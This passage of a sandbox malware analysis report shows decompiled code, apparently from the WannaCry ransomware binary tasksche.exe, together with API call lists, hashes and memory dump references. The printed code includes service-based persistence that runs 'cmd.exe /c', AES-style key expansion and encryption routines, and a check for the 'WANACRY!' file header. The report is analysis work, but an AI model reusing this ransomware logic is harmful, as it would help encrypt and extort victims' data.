						_t31 = CreateServiceA(_v8, 0x40f8ac, 0x40f8ac, 0xf01ff, 0x10, 2, 1,  &_v1040, 0, 0, 0, 0, 0);
						if(_t31 != 0) {
							StartServiceA(_t31, 0, 0);
							CloseServiceHandle(_t31);
							_v12 = 1;
						}
						_t32 = _v12;
					} else {
						StartServiceA(_t13, 0, 0);
						CloseServiceHandle(_v16);
						_t32 = 1;
					}
					CloseServiceHandle(_v8);
					return _t32;
				}
				return 0;
			}











                    0x00401cfb
                    0x00401cfe
                    0x00401d06
                    0x00401d09
                    0x00401d21
                    0x00401d29
                    0x00401d2c
                    0x00401d54
                    0x00401d7b
                    0x00401d7f
                    0x00401d84
                    0x00401d8b
                    0x00401d91
                    0x00401d91
                    0x00401d98
                    0x00401d2e
                    0x00401d31
                    0x00401d3a
                    0x00401d42
                    0x00401d42
                    0x00401d9e
                    0x00000000
                    0x00401da7
                    0x00000000

                    APIs
                    • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00401CFE
                    • OpenServiceA.ADVAPI32(00000000,0040F8AC,000F01FF), ref: 00401D21
                    • StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
                    • CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
                    • CloseServiceHandle.ADVAPI32(?), ref: 00401D9E
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: Service$CloseHandleOpen$ManagerStart
                    • String ID: cmd.exe /c "%s"
                    • API String ID: 1485051382-955883872
                    • Opcode ID: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                    • Instruction ID: 93977d8af42d47d1d9866270745c8e9c50065656b45fe828c5c40e24baaa5e60
                    • Opcode Fuzzy Hash: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                    • Instruction Fuzzy Hash: 6411AF71900118BBDB205B659E4CE9FBF7CEF85745F10407AF601F21A0CA744949DB68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00402A76 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 334COMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 54%
                    			E00402A76(void* __ecx, signed int _a4, void* _a6, void* _a7, signed int _a8, signed int _a12, signed char* _a16) {
				signed int _v8;
				signed int _v12;
				char _v24;
				int _t193;
				signed int _t198;
				int _t199;
				intOrPtr _t200;
				signed int* _t205;
				signed char* _t206;
				signed int _t208;
				signed int _t210;
				signed int* _t216;
				signed int _t217;
				signed int* _t220;
				signed int* _t229;
				void* _t252;
				void* _t280;
				void* _t281;
				signed int _t283;
				signed int _t289;
				signed int _t290;
				signed char* _t291;
				signed int _t292;
				void* _t303;
				void* _t313;
				intOrPtr* _t314;
				void* _t315;
				intOrPtr* _t316;
				signed char* _t317;
				signed char* _t319;
				signed int _t320;
				signed int _t322;
				void* _t326;
				void* _t327;
				signed int _t329;
				signed int _t337;
				intOrPtr _t338;
				signed int _t340;
				intOrPtr _t341;
				void* _t342;
				signed int _t345;
				signed int* _t346;
				signed int _t347;
				void* _t352;
				void* _t353;
				void* _t354;

				_t352 = __ecx;
				if(_a4 == 0) {
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t283 = _a12;
				_t252 = 0x18;
				_t342 = 0x10;
				if(_t283 != _t342 && _t283 != _t252 && _t283 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_push(0x40d570);
					_push( &_v24);
					L0040776E();
				}
				_t193 = _a16;
				if(_t193 != _t342 && _t193 != _t252 && _t193 != 0x20) {
					_t283 =  &_v24;
					_a8 = 0x40f57c;
					__imp__??0exception@@QAE@ABQBD@Z( &_a8);
					_t193 =  &_v24;
					_push(0x40d570);
					_push(_t193);
					L0040776E();
				}
				 *(_t352 + 0x3cc) = _t193;
				 *(_t352 + 0x3c8) = _t283;
				memcpy(_t352 + 0x3d0, _a8, _t193);
				memcpy(_t352 + 0x3f0, _a8,  *(_t352 + 0x3cc));
				_t198 =  *(_t352 + 0x3c8);
				_t354 = _t353 + 0x18;
				if(_t198 == _t342) {
					_t199 =  *(_t352 + 0x3cc);
					if(_t199 != _t342) {
						_t200 = ((0 | _t199 != _t252) - 0x00000001 & 0xfffffffe) + 0xe;
					} else {
						_t200 = 0xa;
					}
					goto L17;
				} else {
					if(_t198 == _t252) {
						_t200 = ((0 |  *(_t352 + 0x3cc) == 0x00000020) - 0x00000001 & 0x000000fe) + 0xe;
						L17:
						 *((intOrPtr*)(_t352 + 0x410)) = _t200;
						L18:
						asm("cdq");
						_t289 = 4;
						_t326 = 0;
						_a12 =  *(_t352 + 0x3cc) / _t289;
						if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
							L23:
							_t327 = 0;
							if( *((intOrPtr*)(_t352 + 0x410)) < 0) {
								L28:
								asm("cdq");
								_t290 = 4;
								_t291 = _a4;
								_t345 = ( *((intOrPtr*)(_t352 + 0x410)) + 1) * _a12;
								_v12 = _t345;
								_t329 =  *(_t352 + 0x3c8) / _t290;
								_t205 = _t352 + 0x414;
								_v8 = _t329;
								if(_t329 <= 0) {
									L31:
									_a8 = _a8 & 0x00000000;
									if(_t329 <= 0) {
										L35:
										if(_a8 >= _t345) {
											L51:
											_t206 = 1;
											_a16 = _t206;
											if( *((intOrPtr*)(_t352 + 0x410)) <= _t206) {
												L57:
												 *((char*)(_t352 + 4)) = 1;
												return _t206;
											}
											_a8 = _t352 + 0x208;
											do {
												_t292 = _a12;
												if(_t292 <= 0) {
													goto L56;
												}
												_t346 = _a8;
												do {
													_t208 =  *_t346;
													_a4 = _t208;
													 *_t346 =  *0x0040ABFC ^  *0x0040AFFC ^  *0x0040B3FC ^  *(0x40b7fc + (_t208 & 0x000000ff) * 4);
													_t346 =  &(_t346[1]);
													_t292 = _t292 - 1;
												} while (_t292 != 0);
												L56:
												_a16 =  &(_a16[1]);
												_a8 = _a8 + 0x20;
												_t206 = _a16;
											} while (_t206 <  *((intOrPtr*)(_t352 + 0x410)));
											goto L57;
										}
										_a16 = 0x40bbfc;
										do {
											_t210 =  *(_t352 + 0x410 + _t329 * 4);
											_a4 = _t210;
											 *(_t352 + 0x414) =  *(_t352 + 0x414) ^ ((( *0x004089FC ^  *_a16) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t210 & 0x000000ff) + 0x4089fc) & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff;
											_a16 = _a16 + 1;
											if(_t329 == 8) {
												_t216 = _t352 + 0x418;
												_t303 = 3;
												do {
													 *_t216 =  *_t216 ^  *(_t216 - 4);
													_t216 =  &(_t216[1]);
													_t303 = _t303 - 1;
												} while (_t303 != 0);
												_t217 =  *(_t352 + 0x420);
												_a4 = _t217;
												_t220 = _t352 + 0x428;
												 *(_t352 + 0x424) =  *(_t352 + 0x424) ^ (( *0x004089FC << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t217 & 0x000000ff) + 0x4089fc) & 0x000000ff;
												_t313 = 3;
												do {
													 *_t220 =  *_t220 ^  *(_t220 - 4);
													_t220 =  &(_t220[1]);
													_t313 = _t313 - 1;
												} while (_t313 != 0);
												L46:
												_a4 = _a4 & 0x00000000;
												if(_t329 <= 0) {
													goto L50;
												}
												_t314 = _t352 + 0x414;
												while(_a8 < _t345) {
													asm("cdq");
													_t347 = _a8 / _a12;
													asm("cdq");
													_t337 = _a8 % _a12;
													 *((intOrPtr*)(_t352 + 8 + (_t337 + _t347 * 8) * 4)) =  *_t314;
													_a4 = _a4 + 1;
													_t345 = _v12;
													_t338 =  *_t314;
													_t314 = _t314 + 4;
													_a8 = _a8 + 1;
													 *((intOrPtr*)(_t352 + 0x1e8 + (_t337 + ( *((intOrPtr*)(_t352 + 0x410)) - _t347) * 8) * 4)) = _t338;
													_t329 = _v8;
													if(_a4 < _t329) {
														continue;
													}
													goto L50;
												}
												goto L51;
											}
											if(_t329 <= 1) {
												goto L46;
											}
											_t229 = _t352 + 0x418;
											_t315 = _t329 - 1;
											do {
												 *_t229 =  *_t229 ^  *(_t229 - 4);
												_t229 =  &(_t229[1]);
												_t315 = _t315 - 1;
											} while (_t315 != 0);
											goto L46;
											L50:
										} while (_a8 < _t345);
										goto L51;
									}
									_t316 = _t352 + 0x414;
									while(_a8 < _t345) {
										asm("cdq");
										_a4 = _a8 / _a12;
										asm("cdq");
										_t340 = _a8 % _a12;
										 *((intOrPtr*)(_t352 + 8 + (_t340 + _a4 * 8) * 4)) =  *_t316;
										_a8 = _a8 + 1;
										_t341 =  *_t316;
										_t316 = _t316 + 4;
										 *((intOrPtr*)(_t352 + 0x1e8 + (_t340 + ( *((intOrPtr*)(_t352 + 0x410)) - _a4) * 8) * 4)) = _t341;
										_t329 = _v8;
										if(_a8 < _t329) {
											continue;
										}
										goto L35;
									}
									goto L51;
								}
								_a8 = _t329;
								do {
									_t317 =  &(_t291[1]);
									 *_t205 = ( *_t291 & 0x000000ff) << 0x18;
									 *_t205 =  *_t205 | ( *_t317 & 0x000000ff) << 0x00000010;
									_t319 =  &(_t317[2]);
									 *_t205 =  *_t205 |  *_t319 & 0x000000ff;
									_t291 =  &(_t319[1]);
									_t205 =  &(_t205[1]);
									_t60 =  &_a8;
									 *_t60 = _a8 - 1;
								} while ( *_t60 != 0);
								goto L31;
							}
							_t280 = _t352 + 0x1e8;
							do {
								_t320 = _a12;
								if(_t320 > 0) {
									memset(_t280, 0, _t320 << 2);
									_t354 = _t354 + 0xc;
								}
								_t327 = _t327 + 1;
								_t280 = _t280 + 0x20;
							} while (_t327 <=  *((intOrPtr*)(_t352 + 0x410)));
							goto L28;
						}
						_t281 = _t352 + 8;
						do {
							_t322 = _a12;
							if(_t322 > 0) {
								memset(_t281, 0, _t322 << 2);
								_t354 = _t354 + 0xc;
							}
							_t326 = _t326 + 1;
							_t281 = _t281 + 0x20;
						} while (_t326 <=  *((intOrPtr*)(_t352 + 0x410)));
						goto L23;
					}
					 *((intOrPtr*)(_t352 + 0x410)) = 0xe;
					goto L18;
				}
			}

















































                    0x00402a83
                    0x00402a85
                    0x00402a8e
                    0x00402a95
                    0x00402a9e
                    0x00402aa3
                    0x00402aa4
                    0x00402aa4
                    0x00402aa9
                    0x00402aae
                    0x00402ab1
                    0x00402ab4
                    0x00402ac2
                    0x00402ac6
                    0x00402acd
                    0x00402ad6
                    0x00402adb
                    0x00402adc
                    0x00402adc
                    0x00402ae1
                    0x00402ae6
                    0x00402af4
                    0x00402af8
                    0x00402aff
                    0x00402b05
                    0x00402b08
                    0x00402b0d
                    0x00402b0e
                    0x00402b0e
                    0x00402b14
                    0x00402b23
                    0x00402b2a
                    0x00402b3f
                    0x00402b44
                    0x00402b4a
                    0x00402b4f
                    0x00402b75
                    0x00402b7d
                    0x00402b92
                    0x00402b7f
                    0x00402b81
                    0x00402b81
                    0x00000000
                    0x00402b51
                    0x00402b53
                    0x00402b70
                    0x00402b94
                    0x00402b94
                    0x00402b9a
                    0x00402ba2
                    0x00402ba3
                    0x00402ba6
                    0x00402bae
                    0x00402bb1
                    0x00402bcf
                    0x00402bcf
                    0x00402bd7
                    0x00402bf8
                    0x00402c00
                    0x00402c01
                    0x00402c0b
                    0x00402c0e
                    0x00402c12
                    0x00402c15
                    0x00402c17
                    0x00402c1f
                    0x00402c22
                    0x00402c4e
                    0x00402c4e
                    0x00402c54
                    0x00402ca5
                    0x00402ca8
                    0x00402e04
                    0x00402e06
                    0x00402e0d
                    0x00402e10
                    0x00402e73
                    0x00402e73
                    0x00402e7b
                    0x00402e7b
                    0x00402e18
                    0x00402e1b
                    0x00402e1b
                    0x00402e20
                    0x00000000
                    0x00000000
                    0x00402e22
                    0x00402e25
                    0x00402e25
                    0x00402e29
                    0x00402e59
                    0x00402e5b
                    0x00402e5e
                    0x00402e5e
                    0x00402e61
                    0x00402e61
                    0x00402e64
                    0x00402e68
                    0x00402e6b
                    0x00000000
                    0x00402e1b
                    0x00402cae
                    0x00402cb5
                    0x00402cb5
                    0x00402cbf
                    0x00402d05
                    0x00402d0b
                    0x00402d11
                    0x00402d34
                    0x00402d3a
                    0x00402d3b
                    0x00402d3e
                    0x00402d40
                    0x00402d43
                    0x00402d43
                    0x00402d46
                    0x00402d4e
                    0x00402d8f
                    0x00402d95
                    0x00402d9b
                    0x00402d9c
                    0x00402d9f
                    0x00402da1
                    0x00402da4
                    0x00402da4
                    0x00402da7
                    0x00402da7
                    0x00402dad
                    0x00000000
                    0x00000000
                    0x00402daf
                    0x00402db5
                    0x00402dbf
                    0x00402dc3
                    0x00402dc8
                    0x00402dc9
                    0x00402dcf
                    0x00402ddb
                    0x00402dde
                    0x00402de4
                    0x00402de6
                    0x00402de9
                    0x00402dec
                    0x00402df3
                    0x00402df9
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00402df9
                    0x00000000
                    0x00402db5
                    0x00402d16
                    0x00000000
                    0x00000000
                    0x00402d1c
                    0x00402d22
                    0x00402d25
                    0x00402d28
                    0x00402d2a
                    0x00402d2d
                    0x00402d2d
                    0x00000000
                    0x00402dfb
                    0x00402dfb
                    0x00000000
                    0x00402cb5
                    0x00402c56
                    0x00402c5c
                    0x00402c6a
                    0x00402c6e
                    0x00402c74
                    0x00402c75
                    0x00402c7e
                    0x00402c8b
                    0x00402c91
                    0x00402c93
                    0x00402c96
                    0x00402c9d
                    0x00402ca3
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00402ca3
                    0x00000000
                    0x00402c5c
                    0x00402c24
                    0x00402c27
                    0x00402c2d
                    0x00402c2e
                    0x00402c36
                    0x00402c3f
                    0x00402c43
                    0x00402c45
                    0x00402c46
                    0x00402c49
                    0x00402c49
                    0x00402c49
                    0x00000000
                    0x00402c27
                    0x00402bd9
                    0x00402bdf
                    0x00402bdf
                    0x00402be4
                    0x00402bea
                    0x00402bea
                    0x00402bea
                    0x00402bec
                    0x00402bed
                    0x00402bf0
                    0x00000000
                    0x00402bdf
                    0x00402bb3
                    0x00402bb6
                    0x00402bb6
                    0x00402bbb
                    0x00402bc1
                    0x00402bc1
                    0x00402bc1
                    0x00402bc3
                    0x00402bc4
                    0x00402bc7
                    0x00000000
                    0x00402bb6
                    0x00402b55
                    0x00000000
                    0x00402b55

                    APIs
                    • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402A95
                    • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402AA4
                    • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402ACD
                    • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402ADC
                    • ??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402AFF
                    • _CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402B0E
                    • memcpy.MSVCRT(?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B2A
                    • memcpy.MSVCRT(?,?,?,?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B3F
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: ??0exception@@ExceptionThrow$memcpy
                    • String ID:
                    • API String ID: 1881450474-3916222277
                    • Opcode ID: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                    • Instruction ID: fcfef073648f46ce18afaeffe4143d5033c2e410e09e17396796de68d512254b
                    • Opcode Fuzzy Hash: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                    • Instruction Fuzzy Hash: 8DD1C3706006099FDB28CF29C5846EA77F5FF48314F14C43EE95AEB281D778AA85CB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004014A6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 178filememoryCOMMON
                    Download Yara Rule
                    APIs
                    • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
                    • GetFileSizeEx.KERNEL32(00000000,?), ref: 00401529
                    • memcmp.MSVCRT(?,WANACRY!,00000008), ref: 00401572
                    • GlobalAlloc.KERNEL32(00000000,?,?,?,00000010,?,?,?,?), ref: 0040166D
                    • _local_unwind2.MSVCRT(?,000000FF), ref: 004016D6
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: File$AllocCreateGlobalSize_local_unwind2memcmp
                    • String ID: WANACRY!
                    • API String ID: 283026544-1240840912
                    • Opcode ID: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                    • Instruction ID: 23909f9b909e50c20e483d6bc4be6e23e355ec3bf8b0a6de4718622c8bde6caa
                    • Opcode Fuzzy Hash: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                    • Instruction Fuzzy Hash: 6E512C71900209ABDB219F95CD84FEEB7BCEB08790F1444BAF515F21A0D739AA45CB28
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0040350F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214COMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 55%
                    			E0040350F(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E00402E7E(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc24));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc2c));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc34));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x28;
					do {
						if(_t274 > 0) {
							_t34 =  &_v28; // 0x403b51
							_t260 =  *_t34;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x4093fc + _v44 * 4) ^  *(0x4097fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00408FFC ^  *0x00408BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_t100 =  &_v28; // 0x403b51
					_v44 =  *_t100 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x004089FC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x004089FC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x004089FC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x4089fc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                    0x00403517
                    0x0040351e
                    0x00403528
                    0x00403531
                    0x00403536
                    0x00403537
                    0x00403537
                    0x0040353c
                    0x00403545
                    0x00000000
                    0x0040354f
                    0x0040355b
                    0x0040355c
                    0x0040355d
                    0x0040355f
                    0x0040356e
                    0x00403572
                    0x0040357d
                    0x0040358c
                    0x0040358f
                    0x00403592
                    0x00403598
                    0x0040359d
                    0x004035a0
                    0x004035a3
                    0x004035a6
                    0x004035ac
                    0x004035ad
                    0x004035b5
                    0x004035be
                    0x004035bf
                    0x004035c4
                    0x004035c9
                    0x004035cd
                    0x004035d0
                    0x004035d3
                    0x004035d5
                    0x004035d5
                    0x004035d5
                    0x004035a6
                    0x004035dc
                    0x004035e3
                    0x004035e6
                    0x004035ef
                    0x004035f2
                    0x004035f4
                    0x004035fd
                    0x004035fd
                    0x00403600
                    0x00403608
                    0x0040360b
                    0x00403613
                    0x00403619
                    0x0040361c
                    0x0040361f
                    0x00403627
                    0x0040363a
                    0x0040363d
                    0x00403660
                    0x00403682
                    0x00403688
                    0x0040368a
                    0x0040368d
                    0x00403690
                    0x00403690
                    0x00403690
                    0x0040361f
                    0x004036a9
                    0x004036ae
                    0x004036b2
                    0x004036b5
                    0x004036b8
                    0x004036bb
                    0x004035f2
                    0x004036c7
                    0x004036cd
                    0x004036d3
                    0x004036d6
                    0x004036df
                    0x004036e2
                    0x004036e7
                    0x004036ef
                    0x004036f2
                    0x00403701
                    0x00403709
                    0x0040371f
                    0x00403726
                    0x00403727
                    0x00403741
                    0x00403745
                    0x0040374a
                    0x00403760
                    0x00403767
                    0x00403768
                    0x0040377d
                    0x00403780
                    0x00403782
                    0x00403783
                    0x00403786
                    0x00403787
                    0x004036f2
                    0x00403794

                    APIs
                    • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403528
                    • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403537
                    • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B51,?,?), ref: 004036A9
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: ??0exception@@ExceptionThrowmemcpy
                    • String ID: $Q;@
                    • API String ID: 2382887404-262343263
                    • Opcode ID: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                    • Instruction ID: bc36c6e363c45e845c5013d3ee32ff29fee655b638a1b5d52e43d816bbd12583
                    • Opcode Fuzzy Hash: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                    • Instruction Fuzzy Hash: A581C3759002499FCB05CF68C9809EEBBF5EF89308F2484AEE595E7352C234BA45CF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00403797 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 54%
                    			E00403797(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E004031BC(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc28));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc30));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc38));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 0x1e8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x208;
					do {
						if(_t274 > 0) {
							_t260 = _v28;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
